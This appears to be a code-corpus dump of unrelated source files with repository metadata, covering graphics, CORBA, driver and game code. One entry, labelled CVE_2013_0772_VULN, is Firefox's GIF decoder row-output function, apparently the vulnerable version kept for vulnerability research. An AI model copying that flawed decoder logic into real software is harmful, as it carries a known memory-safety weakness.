}; const world_vertex cube_sides_lut[] = { // First face (PZ) // First triangle {{0, 1}, {0, 0, 0, 255}}, {{1, 1}, {0, 1, 0, 255}}, {{1, 1}, {1, 1, 1, 255}}, // Second triangle {{1, 1}, {1, 1, 1, 255}}, {{0, 1}, {1, 0, 1, 255}}, {{0, 1}, {0, 0, 0, 255}}, // Second face (MZ) // First triangle {{0, 0}, {0, 1, 0, 255}}, {{0, 0}, {1, 1, 1, 255}}, {{1, 0}, {1, 0, 1, 255}}, // Second triangle {{1, 0}, {1, 0, 1, 255}}, {{1, 0}, {0, 0, 0, 255}}, {{0, 0}, {0, 1, 0, 255}}, // Third face (PX) // First triangle {{1, 0}, {0, 1, 0, 255}}, {{1, 0}, {1, 1, 1, 255}}, {{1, 1}, {1, 0, 1, 255}}, // Second triangle {{1, 1}, {1, 0, 1, 255}}, {{1, 1}, {0, 0, 0, 255}}, {{1, 0}, {0, 1, 0, 255}}, // Fourth face (MX) // First triangle {{0, 0}, {0, 0, 0, 255}}, {{0, 1}, {0, 1, 0, 255}}, {{0, 1}, {1, 1, 1, 255}}, // Second triangle {{0, 1}, {1, 1, 1, 255}}, {{0, 0}, {1, 0, 1, 255}}, {{0, 0}, {0, 0, 0, 255}}, // Fifth face (PY) // First triangle {{0, 0}, {1, 0, 1, 255}}, {{0, 1}, {1, 0, 0, 255}}, {{1, 1}, {1, 1, 0, 255}}, // Second triangle {{1, 1}, {1, 1, 0, 255}}, {{1, 0}, {1, 1, 1, 255}}, {{0, 0}, {1, 0, 1, 255}}, // Sixth face (MY) // First triangle {{0, 0}, {0, 0, 1, 255}}, {{1, 0}, {0, 1, 1, 255}}, {{1, 1}, {0, 1, 0, 255}}, // Second triangle {{1, 1}, {0, 1, 0, 255}}, {{0, 1}, {0, 0, 0, 255}}, {{0, 0}, {0, 0, 1, 255}}, }; typedef struct { u8 x, y, z, sideAO; Block block; u8 brightnes; } Side; static inline Block fastBlockFetch(World* world, Chunk* chunk, Cluster* cluster, int x, int y, int z) { world->errFlags = 0; return (x < 0 || y < 0 || z < 0 || x >= CHUNK_WIDTH || y >= CHUNK_CLUSTER_HEIGHT || z >= CHUNK_DEPTH) ? World_GetBlock(world, (chunk->x * CHUNK_WIDTH) + x, (cluster->y * CHUNK_CLUSTER_HEIGHT) + y, (chunk->z * CHUNK_DEPTH) + z) : cluster->blocks[x][y][z]; } static inline u8 fastHeightMapFetch(World* world, Chunk* chunk, int x, int z) { return (x < 0 || z < 0 || x >= CHUNK_WIDTH || z >= CHUNK_DEPTH) ? World_FastChunkAccess(world, chunk->x * CHUNK_WIDTH + x, chunk->z * CHUNK_DEPTH + z) ->heightmap[Chunk_GetLocalX(chunk->x * CHUNK_WIDTH + x)][Chunk_GetLocalZ(chunk->z * CHUNK_DEPTH + z)] : chunk->heightmap[x][z]; } enum AOSides { AOSide_Top = BIT(4 + 0), AOSide_Bottom = BIT(4 + 1), AOSide_Left = BIT(4 + 2), AOSide_Right = BIT(4 + 3) }; const int aoTable[Directions_Count][4][3] = { {{0, 1, 0}, {0, -1, 0}, {-1, 0, 0}, {1, 0, 0}}, {{0, 1, 0}, {0, -1, 0}, {-1, 0, 0}, {1, 0, 0}}, {{0, 1, 0}, {0, -1, 0}, {0, 0, 1}, {0, 0, -1}}, {{0, 1, 0}, {0, -1, 0}, {0, 0, -1}, {0, 0, 1}}, {{0, 0, -1}, {0, 0, 1}, {-1, 0, 0}, {1, 0, 0}}, {{0, 0, -1}, {0, 0, 1}, {-1, 0, 0}, {1, 0, 0}}, }; #define MAX_SIDES (6 * (CHUNK_WIDTH * CHUNK_CLUSTER_HEIGHT * CHUNK_DEPTH / 2)) typedef struct { int x, y, z; int vtxCount[2]; void* buf[2]; } pendingChunkVtxs; #define BUFFERS_COUNT (2 * 4) static void* buffers[BUFFERS_COUNT]; static int buffersUsed = 0; static void* aquireBuffer() { if (buffersUsed != 0xFF) { for (int i = 0; i < BUFFERS_COUNT; i++) { if (!(buffersUsed & (1 << i))) { buffersUsed |= (1 << i); return buffers[i]; } } } return NULL; } static void freeBuffer(void* buffer) { for (int i = 0; i < BUFFERS_COUNT; i++) { if (buffers[i] == buffer) { buffersUsed &= ~(1 << i); return; } } } static vec_t(pendingChunkVtxs) pendingChunks; void BlockRender_Init() { vec_init(&pendingChunks); for (int i = 0; i < BUFFERS_COUNT; i++) buffers[i] = malloc(MAX_SIDES * sizeof(world_vertex) * 6); } void BlockRender_Free() { vec_deinit(&pendingChunks); for (int i = 0; i < BUFFERS_COUNT; i++) free(buffers[i]); } void BlockRender_PutBuffersIntoPlace(World* world) { if (pendingChunks.length > 0) { pendingChunkVtxs vtxData = vec_pop(&pendingChunks); Chunk* c = World_GetChunk(world, vtxData.x, vtxData.z); if (c != NULL) { Cluster* cluster = &c->data[vtxData.y]; for (int i = 0; i < 2; i++) { if (vtxData.buf[i] != NULL) { int vboBytestNeeded = sizeof(world_vertex) * vtxData.vtxCount[i]; if (cluster->vbo[i].memory == NULL || cluster->vbo[i].size == 0) { cluster->vbo[i] = VBO_Alloc(vboBytestNeeded + (sizeof(world_vertex) * 24)); } else if (cluster->vbo[i].size < vboBytestNeeded) { VBO_Free(cluster->vbo[i]); cluster->vbo[i] = VBO_Alloc(vboBytestNeeded + (sizeof(world_vertex) * 24)); } if (!cluster->vbo[i].memory) printf("VBO allocation failed\n"); memcpy(cluster->vbo[i].memory, vtxData.buf[i], vboBytestNeeded); freeBuffer(vtxData.buf[i]); } } cluster->vertexCount[0] = vtxData.vtxCount[0]; cluster->vertexCount[1] = vtxData.vtxCount[1]; } } } bool BlockRender_TaskPolygonizeChunk(ChunkWorker_Queue* queue, ChunkWorker_Task task) { BlockRender_PolygonizeChunk(task.world, task.chunk, false); printf("Executing polytask\n"); task.chunk->flags &= ~ClusterFlags_VBODirty; return true; } bool BlockRender_PolygonizeChunk(World* world, Chunk* chunk, bool progressive) { // if (chunk->tasksPending > 0) return false; int clean = 0; printf("Recalculating chunk\n"); Chunk_RecalcHeightMap(chunk); for (int i = 0; i < CHUNK_CLUSTER_COUNT; i++) { Cluster* cluster = &chunk->data[i]; pendingChunkVtxs vtx = {chunk->x, i, chunk->z, {0, 0}, {NULL, NULL}}; if (cluster->flags & ClusterFlags_VBODirty) { static Side sideBuffers[2][MAX_SIDES]; Side* sides = &sideBuffers[0][0]; int sideCurrent = 0; int sidesCount[2] = {0, 0}; // Pass 0, 1 int blocksNotAir = 0; for (int x = 0; x < CHUNK_WIDTH; x++) for (int z = 0; z < CHUNK_DEPTH; z++) { for (int y = 0; y < CHUNK_CLUSTER_HEIGHT; y++) { Block block = cluster->blocks[x][y][z]; if (block != Block_Air) { blocksNotAir++; for (int j = 0; j < Directions_Count; j++) { const int* pos = &DirectionToPosition[j]; Block sidedBlock = fastBlockFetch(world, chunk, cluster, x + pos[0], y + pos[1], z + pos[2]); if (sidedBlock == Block_Air || !Blocks_IsOpaque(sidedBlock)) { if (!(world->errFlags & World_ErrUnloadedBlockRequested)) { Side s = (Side){ x, y, z, j, block, (i * CHUNK_CLUSTER_HEIGHT) + y < fastHeightMapFetch(world, chunk, x + pos[0], z + pos[2])}; for (int k = 0; k < 4; k++) { const int* aoOffset = aoTable[j][k]; if (fastBlockFetch(world, chunk, cluster, x + pos[0] + aoOffset[0], y + pos[1] + aoOffset[1], z + pos[2] + aoOffset[2]) != Block_Air) { s.sideAO |= 1 << (4 + k); } } sides[sideCurrent++] = s; sidesCount[!Blocks_IsOpaque(block)]++; } } } } } } if (!sideCurrent) { /*cluster->vertexCount[0] = 0; cluster->vertexCount[1] = 0;*/ vtx.vtxCount[0] = 0; vtx.vtxCount[1] = 0; cluster->flags &= ~ClusterFlags_VBODirty; if (blocksNotAir == 0) cluster->flags |= ClusterFlags_Empty; vec_push(&pendingChunks, vtx); continue; } for (int k = 0; k < 2; k++) { if (sidesCount[k]) { do { vtx.buf[k] = aquireBuffer(); svcSleepThread(120); } while (vtx.buf[k] == NULL); } } int vertexCount[2] = {0, 0}; world_vertex* vbos[2] = {vtx.buf[0], vtx.buf[1]}; const int oneDivIconsPerRow = 256 / 8; const int halfTexel = 256 / 128; int16_t clusterX = (chunk->x * CHUNK_WIDTH); uint8_t clusterY = (cluster->y * CHUNK_CLUSTER_HEIGHT); int16_t clusterZ = (chunk->z * CHUNK_DEPTH); uint8_t blockUV[2]; for (int j = 0; j < sideCurrent; j++) { bool blockTransparent = !Blocks_IsOpaque(sides[j].block); world_vertex* ptr = vbos[blockTransparent]; memcpy(ptr, &cube_sides_lut[(sides[j].sideAO & 0xF) * 6], sizeof(world_vertex) * 6); Blocks_GetUVs(sides[j].block, (sides[j].sideAO & 0xF), blockUV); // if (i > 0) printf("%u %f %f\n", sides[j].block, blockUV[0], blockUV[1]); int top = sides[j].sideAO & AOSide_Top; int bottom = sides[j].sideAO & AOSide_Bottom; int left = sides[j].sideAO & AOSide_Left; int right = sides[j].sideAO & AOSide_Right; int16_t sideX = sides[j].x + clusterX; uint8_t sideY = sides[j].y + clusterY; int16_t sideZ = sides[j].z + clusterZ; for (int k = 0; k < 6; k++) { ptr[k].xz[0] += sideX; ptr[k].xz[1] += sideZ; ptr[k].yuvb[0] += sideY; int ao = 0; ao |= (ptr[k].yuvb[1] == 0 && left); ao |= (ptr[k].yuvb[1] == 1 && right); ao |= (ptr[k].yuvb[2] == 0 && bottom); ao |= (ptr[k].yuvb[2] == 1 && top); if (ao) { ptr[k].yuvb[3] -= 55; } if (sides[j].brightnes) { ptr[k].yuvb[3] -= 90; } ptr[k].yuvb[1] = (ptr[k].yuvb[1] == 1 ? (oneDivIconsPerRow - halfTexel) : halfTexel) + blockUV[0]; ptr[k].yuvb[2] = (ptr[k].yuvb[2] == 1 ? (oneDivIconsPerRow - halfTexel) : halfTexel) + blockUV[1]; // printf("%f, %f\n", ptr[k].uv[0], ptr[k].uv[1]); } vbos[blockTransparent] += 6; vertexCount[blockTransparent] += 6; } /*{ FILE* f = fopen("chunk_sizes.txt", "a"); fprintf(f, "%dkb|\t%d sides|\t%d blocks\n", vboBytestNeeded, sideCurrent, blocksNotAir); fclose(f); }*/ vtx.vtxCount[0] = vertexCount[0]; vtx.vtxCount[1] = vertexCount[1]; vec_push(&pendingChunks, vtx); cluster->flags &= ~ClusterFlags_VBODirty; clean++; if (progressive) break; } else clean++; } printf("Finished\n"); return clean == CHUNK_CLUSTER_COUNT; }
28.463542
147
0.53129
16719b5502cb57004a49e1ebd73d410dbe0a04ba
1,189
h
C
apps/shared/xy_banner_view.h
VersiraSec/epsilon-cfw
d12b44c6c6668ecc14b60d8dd098ba5c230b1291
[ "FSFAP" ]
1,442
2017-08-28T19:39:45.000Z
2022-03-30T00:56:14.000Z
apps/shared/xy_banner_view.h
VersiraSec/epsilon-cfw
d12b44c6c6668ecc14b60d8dd098ba5c230b1291
[ "FSFAP" ]
1,321
2017-08-28T23:03:10.000Z
2022-03-31T19:32:17.000Z
apps/shared/xy_banner_view.h
VersiraSec/epsilon-cfw
d12b44c6c6668ecc14b60d8dd098ba5c230b1291
[ "FSFAP" ]
421
2017-08-28T22:02:39.000Z
2022-03-28T20:52:21.000Z
#ifndef SHARED_XY_BANNER_VIEW_H #define SHARED_XY_BANNER_VIEW_H #include "banner_view.h" #include <escher/buffer_text_view.h> #include <escher/responder.h> #include <escher/text_field.h> #include <poincare/print_float.h> namespace Shared { class XYBannerView : public BannerView { public: XYBannerView( Escher::Responder * parentResponder, Escher::InputEventHandlerDelegate * inputEventHandlerDelegate, Escher::TextFieldDelegate * textFieldDelegate ); Escher::BufferTextView * abscissaSymbol() { return &m_abscissaSymbol; } Escher::TextField * abscissaValue() { return &m_abscissaValue; } Escher::BufferTextView * ordinateView() { return &m_ordinateView; } static constexpr int k_numberOfSubviews = 2; protected: Escher::View * subviewAtIndex(int index) override; private: constexpr static KDCoordinate k_abscissaBufferSize = Poincare::PrintFloat::k_maxFloatCharSize; int numberOfSubviews() const override { return k_numberOfSubviews; } Escher::BufferTextView m_abscissaSymbol; Escher::TextField m_abscissaValue; BannerView::LabelledView m_abscissaView; char m_textBody[k_abscissaBufferSize]; Escher::BufferTextView m_ordinateView; }; } #endif
31.289474
96
0.788057
558eba929130b4ee0291d21e42a0f347bbb59ad2
297
h
C
drivers/s390/char/hmcdrv_dev.h
fergy/aplit_linux-5
a6ef4cb0e17e1eec9743c064e65f730c49765711
[ "MIT" ]
44
2022-03-16T08:32:31.000Z
2022-03-31T16:02:35.000Z
drivers/s390/char/hmcdrv_dev.h
fergy/aplit_linux-5
a6ef4cb0e17e1eec9743c064e65f730c49765711
[ "MIT" ]
13
2021-07-10T04:36:17.000Z
2022-03-03T10:50:05.000Z
drivers/s390/char/hmcdrv_dev.h
fergy/aplit_linux-5
a6ef4cb0e17e1eec9743c064e65f730c49765711
[ "MIT" ]
20
2021-10-22T02:21:23.000Z
2022-03-31T04:55:35.000Z
/* SPDX-License-Identifier: GPL-2.0 */ /* * SE/HMC Drive FTP Device * * Copyright IBM Corp. 2013 * Author(s): Ralf Hoppe (rhoppe@de.ibm.com) */ #ifndef __HMCDRV_DEV_H__ #define __HMCDRV_DEV_H__ int hmcdrv_dev_init(void); void hmcdrv_dev_exit(void); #endif /* __HMCDRV_DEV_H__ */
18.5625
47
0.690236
0e3fbb5b684416a4d8a236894187e478c3e460be
2,585
h
C
TAO/tao/TransportCurrent/IIOP_Current_Impl.h
cflowe/ACE
5ff60b41adbe1772372d1a43bcc1f2726ff8f810
[ "DOC" ]
36
2015-01-10T07:27:33.000Z
2022-03-07T03:32:08.000Z
TAO/tao/TransportCurrent/IIOP_Current_Impl.h
cflowe/ACE
5ff60b41adbe1772372d1a43bcc1f2726ff8f810
[ "DOC" ]
2
2018-08-13T07:30:51.000Z
2019-02-25T03:04:31.000Z
TAO/tao/TransportCurrent/IIOP_Current_Impl.h
cflowe/ACE
5ff60b41adbe1772372d1a43bcc1f2726ff8f810
[ "DOC" ]
38
2015-01-08T14:12:06.000Z
2022-01-19T08:33:00.000Z
/** * @file IIOP_Current_Impl.h * * @brief Provide implementation for the IIOPTraits interface * * $Id: IIOP_Current_Impl.h 88803 2010-02-02 11:13:27Z vzykov $ * * @author Iliyan Jeliazkov <iliyan@ociweb.com> */ #ifndef IIOP_CURRENT_IMPL_H #define IIOP_CURRENT_IMPL_H #include /**/ "ace/pre.h" #if !defined (ACE_LACKS_PRAGMA_ONCE) # pragma once #endif /* ACE_LACKS_PRAGMA_ONCE */ #include "tao/orbconf.h" #if TAO_HAS_TRANSPORT_CURRENT == 1 #include "tao/TransportCurrent/TC_IIOPC.h" #include "tao/TransportCurrent/Current_Impl.h" TAO_BEGIN_VERSIONED_NAMESPACE_DECL class TAO_Transport; class TAO_IIOP_Connection_Handler; namespace TAO { namespace Transport { /** * @class IIOP_Current_Impl * * @brief Implementation of the TAO::Transport::IIOPCurrent * interface. * * IIOP_Current_Impl is useful for obtaining information about the * IIOP Transport, associated with the calling thread. */ class TAO_Transport_Current_Export IIOP_Current_Impl : public virtual IIOP::Current , public virtual Current_Impl { public: /// Constructor. IIOP_Current_Impl (TAO_ORB_Core* core, size_t tss_slot_id); //@{ virtual ::CORBA::Long id (void); virtual ::SSLIOP::Current_ptr ssliop_current (void); virtual ::CORBA::Long remote_port (void); virtual char* remote_host (void); virtual ::CORBA::Long local_port (void); virtual char* local_host (void); //@} protected: /// Destructor /** * Protected destructor to enforce the fact this class is reference * counted, and should not be destroyed using delete() by anything * other than the reference counting mechanism. */ virtual ~IIOP_Current_Impl (void); private: /// Returns the IIOP connection handler associated with the /// Transport. Will throw NoContext if the (selected) transport /// () == 0, or if transport->connection_handler () == 0. Will /// throw NoContext, if no transport has been selected yet. TAO_IIOP_Connection_Handler* handler (void); private: /// Prevent copying through the copy constructor and /// assignment operator. //@{ IIOP_Current_Impl (const IIOP_Current_Impl &); void operator= (const IIOP_Current_Impl &); //@} }; } } TAO_END_VERSIONED_NAMESPACE_DECL #endif /* TAO_HAS_TRANSPORT_CURRENT == 1 */ #include /**/ "ace/post.h" #endif /* IIOP_CURRENT_IMPL_H */
23.715596
75
0.655706
cda31fab6210308811ea0bc4ea725c061b7fe97a
3,317
c
C
dataset/source/NVD/CVE_2013_0772_VULN_nsGIFDecoder2__OutputRow.c
kppw99/enVAS
99a92411c21241f7030b3c3b697c4161aaaf852b
[ "Apache-2.0" ]
null
null
null
dataset/source/NVD/CVE_2013_0772_VULN_nsGIFDecoder2__OutputRow.c
kppw99/enVAS
99a92411c21241f7030b3c3b697c4161aaaf852b
[ "Apache-2.0" ]
null
null
null
dataset/source/NVD/CVE_2013_0772_VULN_nsGIFDecoder2__OutputRow.c
kppw99/enVAS
99a92411c21241f7030b3c3b697c4161aaaf852b
[ "Apache-2.0" ]
null
null
null
uint32_t CVE_2013_0772_VULN_nsGIFDecoder2::OutputRow() { int drow_start, drow_end; drow_start = drow_end = mGIFStruct.irow; /* Protect against too much image data */ if ((unsigned)drow_start >= mGIFStruct.height) { NS_WARNING("GIF2.cpp::OutputRow - too much image data"); return 0; } if (!mGIFStruct.images_decoded) { /* * Haeberli-inspired hack for interlaced GIFs: Replicate lines while * displaying to diminish the "venetian-blind" effect as the image is * loaded. Adjust pixel vertical positions to avoid the appearance of the * image crawling up the screen as successive passes are drawn. */ if (mGIFStruct.progressive_display && mGIFStruct.interlaced && (mGIFStruct.ipass < 4)) { /* ipass = 1,2,3 results in resp. row_dup = 7,3,1 and row_shift = 3,1,0 */ const uint32_t row_dup = 15 >> mGIFStruct.ipass; const uint32_t row_shift = row_dup >> 1; drow_start -= row_shift; drow_end = drow_start + row_dup; /* Extend if bottom edge isn't covered because of the shift upward. */ if (((mGIFStruct.height - 1) - drow_end) <= row_shift) drow_end = mGIFStruct.height - 1; /* Clamp first and last rows to upper and lower edge of image. */ if (drow_start < 0) drow_start = 0; if ((unsigned)drow_end >= mGIFStruct.height) drow_end = mGIFStruct.height - 1; } // Row to process const uint32_t bpr = sizeof(uint32_t) * mGIFStruct.width; uint8_t *rowp = mImageData + (mGIFStruct.irow * bpr); // Convert color indices to Cairo pixels uint8_t *from = rowp + mGIFStruct.width; uint32_t *to = ((uint32_t*)rowp) + mGIFStruct.width; uint32_t *cmap = mColormap; if (mColorMask == 0xFF) { for (uint32_t c = mGIFStruct.width; c > 0; c--) { *--to = cmap[*--from]; } } else { // Make sure that pixels within range of colormap. uint8_t mask = mColorMask; for (uint32_t c = mGIFStruct.width; c > 0; c--) { *--to = cmap[(*--from) & mask]; } } // check for alpha (only for first frame) if (mGIFStruct.is_transparent && !mSawTransparency) { const uint32_t *rgb = (uint32_t*)rowp; for (uint32_t i = mGIFStruct.width; i > 0; i--) { if (*rgb++ == 0) { mSawTransparency = true; break; } } } // Duplicate rows if (drow_end > drow_start) { // irow is the current row filled for (int r = drow_start; r <= drow_end; r++) { if (r != int(mGIFStruct.irow)) { memcpy(mImageData + (r * bpr), rowp, bpr); } } } } mCurrentRow = drow_end; mCurrentPass = mGIFStruct.ipass; if (mGIFStruct.ipass == 1) mLastFlushedPass = mGIFStruct.ipass; // interlaced starts at 1 if (!mGIFStruct.interlaced) { mGIFStruct.irow++; } else { static const uint8_t kjump[5] = { 1, 8, 8, 4, 2 }; do { // Row increments resp. per 8,8,4,2 rows mGIFStruct.irow += kjump[mGIFStruct.ipass]; if (mGIFStruct.irow >= mGIFStruct.height) { // Next pass starts resp. at row 4,2,1,0 mGIFStruct.irow = 8 >> mGIFStruct.ipass; mGIFStruct.ipass++; } } while (mGIFStruct.irow >= mGIFStruct.height); } return --mGIFStruct.rows_remaining; }
32.519608
92
0.60808
07959bbbecac8d81db1f03b3b7d2b314c270b328
2,598
c
C
cmds/spells/w/_wieldskill.c
Dbevan/SunderingShadows
6c15ec56cef43c36361899bae6dc08d0ee907304
[ "MIT" ]
9
2021-07-05T15:24:54.000Z
2022-02-25T19:44:15.000Z
cmds/spells/w/_wieldskill.c
Dbevan/SunderingShadows
6c15ec56cef43c36361899bae6dc08d0ee907304
[ "MIT" ]
4
2021-03-15T18:56:39.000Z
2021-08-17T17:08:22.000Z
cmds/spells/w/_wieldskill.c
Dbevan/SunderingShadows
6c15ec56cef43c36361899bae6dc08d0ee907304
[ "MIT" ]
10
2021-03-13T00:18:03.000Z
2022-03-29T15:02:42.000Z
#include <std.h> #include <magic.h> inherit SPELL; int trackera, trackerb; void create() { ::create(); set_spell_name("wieldskill"); set_spell_level(([ "inquisitor" : 2, "mage" : 2, "magus" : 2, "paladin" : 2, "psion" : 2 ])); set_spell_sphere("enchantment_charm"); set_syntax("cast CLASS wieldskill"); set_description("This gives the caster proficiency with any kind of weapon, provided they are able to wield it."); set_verbal_comp(); set_somatic_comp(); set_helpful_spell(1); } string query_cast_string() { tell_object(caster, "%^YELLOW%^They lyrics to an ancient prayer flood" + " into your mind as you begin to hum"); tell_room(place, "%^YELLOW%^" + caster->QCN + " begins to hum.", caster); return "display"; } int preSpell() { if (caster->query_property("wieldskill")) { tell_object(caster, "You already have this spell active."); return 0; } return 1; } void spell_effect(int prof) { tell_room(place, "%^YELLOW%^" + caster->QCN + " chants the lyrics of a " + "melodic prayer. Suddenly, " + caster->QP + " eyes brighten with" + " enlightenment.", caster); tell_object(caster, "%^YELLOW%^You feel a greater understanding of" + " combat filling your mind."); caster->set_property("wieldskill", 1); if (member_array("martial weapon proficiency", (string*)caster->query_temporary_feats()) == -1) { caster->add_temporary_feat("martial weapon proficiency"); trackera = 1; } if (member_array("exotic weapon proficiency", (string*)caster->query_temporary_feats()) == -1) { caster->add_temporary_feat("exotic weapon proficiency"); trackerb = 1; } caster->set_property("spelled", ({ TO })); spell_duration = (clevel + roll_dice(1, 20)) * ROUND_LENGTH * 8; set_end_time(); call_out("dest_effect",spell_duration); addSpellToCaster(); } void dest_effect() { if (objectp(caster)) { caster->remove_property("wieldskill"); tell_object(caster, "%^YELLOW%^The knowledge of weapon skill leaves you."); tell_room(environment(caster), "%^YELLOW%^Frowning for a moment," + " " + caster->QCN + " scratches " + caster->QP + " head.", caster); if (trackerb == 1) { caster->remove_temporary_feat("exotic weapon proficiency"); } if (trackera == 1) { caster->remove_temporary_feat("martial weapon proficiency"); } } ::dest_effect(); if (objectp(TO)) { TO->remove(); } }
32.475
118
0.615089
35e6c7cf2ab9615523476ac4a5bd974bb1c4952f
1,720
h
C
Kernel/Formats/pmdaq/dsp/PMDAQFile.h
rwharton/dspsr_dsn
135cc86c43931311424beeb5a459ba570f1f83f7
[ "AFL-2.1" ]
null
null
null
Kernel/Formats/pmdaq/dsp/PMDAQFile.h
rwharton/dspsr_dsn
135cc86c43931311424beeb5a459ba570f1f83f7
[ "AFL-2.1" ]
null
null
null
Kernel/Formats/pmdaq/dsp/PMDAQFile.h
rwharton/dspsr_dsn
135cc86c43931311424beeb5a459ba570f1f83f7
[ "AFL-2.1" ]
null
null
null
//-*-C++-*- /*************************************************************************** * * Copyright (C) 2002 by Matthew Bailes * Licensed under the Academic Free License version 2.1 * ***************************************************************************/ #ifndef __PMDAQFile_h #define __PMDAQFile_h #include "environ.h" #include "dsp/BlockFile.h" namespace dsp { class PMDAQ_Observation; //! Loads BitSeries data from a PMDAQ data file class PMDAQFile : public BlockFile { public: //! Construct and open file PMDAQFile (const char* filename=0); //! Destructor virtual ~PMDAQFile(); //! Returns true if filename appears to name a valid PMDAQ file bool is_valid (const char* filename) const; //! Which band the bandwidth/centre frequency will be extracted from static bool using_second_band; protected: //! Pads gaps in data virtual int64_t pad_bytes(unsigned char* buffer, int64_t bytes); //! Open the file void open_file (const char* filename); //! Initialises 'pmdaq_header' with the header info int get_header (char* pmdaq_header, const char* filename); void set_chan_begin(unsigned _chan_begin){ chan_begin = _chan_begin; } unsigned get_chan_begin() const { return chan_begin; } void set_chan_end(unsigned _chan_end){ chan_end = _chan_end; } unsigned get_chan_end() const { return chan_end; } private: //! If user has use of the second observing band on disk, modify the bandwidth and centre frequency of output void modify_info(PMDAQ_Observation* data); // Helper functions for load_bytes(): int chan_begin; int chan_end; }; } #endif // !defined(__PMDAQFile_h)
25.294118
113
0.63314
dbc220d2c9899534ddb88fca379d312a58a74a94
1,093
h
C
platform/mcu/atsamd5x_e5x/Drivers/driver_init.h
jinlongliu/AliOS-Things
ce051172a775f987183e7aca88bb6f3b809ea7b0
[ "Apache-2.0" ]
4
2019-03-12T11:04:48.000Z
2019-10-22T06:06:53.000Z
platform/mcu/atsamd5x_e5x/Drivers/driver_init.h
IamBaoMouMou/AliOS-Things
195a9160b871b3d78de6f8cf6c2ab09a71977527
[ "Apache-2.0" ]
3
2018-12-17T13:06:46.000Z
2018-12-28T01:40:59.000Z
platform/mcu/atsamd5x_e5x/Drivers/driver_init.h
IamBaoMouMou/AliOS-Things
195a9160b871b3d78de6f8cf6c2ab09a71977527
[ "Apache-2.0" ]
6
2019-08-30T09:43:03.000Z
2021-04-05T04:20:41.000Z
/* * Code generated from Atmel Start. * * This file will be overwritten when reconfiguring your Atmel Start project. * Please copy examples or other code you want to keep to a separate file * to avoid losing it when reconfiguring. */ #ifndef DRIVER_INIT_INCLUDED #define DRIVER_INIT_INCLUDED #include "atmel_start_pins.h" #ifdef __cplusplus extern "C" { #endif #include <hal_atomic.h> #include <hal_delay.h> #include <hal_gpio.h> #include <hal_init.h> #include <hal_io.h> #include <hal_sleep.h> #include <hal_usart_os.h> #include <hal_flash.h> extern struct usart_os_descriptor USART_0; extern struct usart_os_descriptor USART_2; void USART_0_PORT_init(void); void USART_0_CLOCK_init(void); void USART_0_init(void); void USART_2_PORT_init(void); void USART_2_CLOCK_init(void); void USART_2_init(void); extern struct flash_descriptor FLASH_0; void FLASH_0_init(void); void FLASH_0_CLOCK_init(void); /** * \brief Perform system initialization, initialize pins and clocks for * peripherals */ void system_init(void); #ifdef __cplusplus } #endif #endif // DRIVER_INIT_INCLUDED
20.622642
77
0.778591
dbf648c5766b364cb88826e6b66499f4765e3d65
3,560
h
C
source/Irrlicht/CImage.h
qbasa12/IrrlichtBAW
6473f1dcd440eddaaacee9c33c782697a262f7ac
[ "Apache-2.0" ]
null
null
null
source/Irrlicht/CImage.h
qbasa12/IrrlichtBAW
6473f1dcd440eddaaacee9c33c782697a262f7ac
[ "Apache-2.0" ]
2
2019-05-20T12:28:51.000Z
2019-05-24T10:33:41.000Z
source/Irrlicht/CImage.h
manhnt9/IrrlichtBAW
502f2200070d8181f235294403a7de63782e9dcc
[ "Apache-2.0" ]
null
null
null
// Copyright (C) 2002-2012 Nikolaus Gebhardt // This file is part of the "Irrlicht Engine". // For conditions of distribution and use, see copyright notice in irrlicht.h #ifndef __C_IMAGE_H_INCLUDED__ #define __C_IMAGE_H_INCLUDED__ #include "IImage.h" #include "rect.h" namespace irr { namespace video { //! IImage implementation with a lot of special image operations for //! 16 bit A1R5G5B5/32 Bit A8R8G8B8 images, which are used by the SoftwareDevice. class CImage : public IImage { protected: //! destructor virtual ~CImage(); public: //! constructor from raw image data /** \param useForeignMemory: If true, the image will use the data pointer directly and own it from now on, which means it will also try to delete [] the data when the image will be destructed. If false, the memory will by copied. */ CImage(asset::E_FORMAT format, const core::dimension2d<uint32_t>& size, void* data, bool ownForeignMemory=true); //! constructor for empty image CImage(asset::E_FORMAT format, const core::dimension2d<uint32_t>& size); //! . virtual void* getData() {return Data;} virtual const void* getData() const {return Data;} //! Returns width and height of image data. virtual const core::dimension2d<uint32_t>& getDimension() const; //! Returns bits per pixel. virtual uint32_t getBitsPerPixel() const; //! Returns image data size in bytes virtual uint32_t getImageDataSizeInBytes() const; //! Returns image data size in pixels virtual uint32_t getImageDataSizeInPixels() const; //! returns mask for red value of a pixel virtual uint32_t getRedMask() const; //! returns mask for green value of a pixel virtual uint32_t getGreenMask() const; //! returns mask for blue value of a pixel virtual uint32_t getBlueMask() const; //! returns mask for alpha value of a pixel virtual uint32_t getAlphaMask() const; //! returns a pixel virtual SColor getPixel(uint32_t x, uint32_t y) const; //! sets a pixel virtual void setPixel(uint32_t x, uint32_t y, const SColor &color, bool blend = false ); //! returns the color format virtual asset::E_FORMAT getColorFormat() const; //! returns pitch of image virtual uint32_t getPitch() const { return Pitch; } //! copies this surface into another virtual void copyTo(IImage* target, const core::position2d<int32_t>& pos=core::position2d<int32_t>(0,0)); //! copies this surface into another virtual void copyTo(IImage* target, const core::position2d<int32_t>& pos, const core::rect<int32_t>& sourceRect, const core::rect<int32_t>* clipRect=0); //! copies this surface into another, using the alpha mask, an cliprect and a color to add with virtual void copyToWithAlpha(IImage* target, const core::position2d<int32_t>& pos, const core::rect<int32_t>& sourceRect, const SColor &color, const core::rect<int32_t>* clipRect = 0); //! copies this surface into another, scaling it to fit, appyling a box filter virtual void copyToScalingBoxFilter(IImage* target, int32_t bias = 0, bool blend = false); //! fills the surface with given color virtual void fill(const SColor &color); private: //! assumes format and size has been set and creates the rest void initData(); inline SColor getPixelBox ( int32_t x, int32_t y, int32_t fx, int32_t fy, int32_t bias ) const; uint8_t* Data; core::dimension2d<uint32_t> Size; uint32_t Pitch; asset::E_FORMAT Format; bool DeleteMemory; }; } // end namespace video } // end namespace irr #endif
31.504425
154
0.718539
e05541602a7c421d201cadf020a125a7d5aba470
19,395
c
C
source/src/Netty/channel/SocketChannel.c
jxfengzi/libtiny
04147fb118b49a44ecb8d55cec411a00d1cf868b
[ "MIT" ]
1
2017-12-08T03:42:23.000Z
2017-12-08T03:42:23.000Z
source/src/Netty/channel/SocketChannel.c
jxfengzi/libtiny
04147fb118b49a44ecb8d55cec411a00d1cf868b
[ "MIT" ]
null
null
null
source/src/Netty/channel/SocketChannel.c
jxfengzi/libtiny
04147fb118b49a44ecb8d55cec411a00d1cf868b
[ "MIT" ]
3
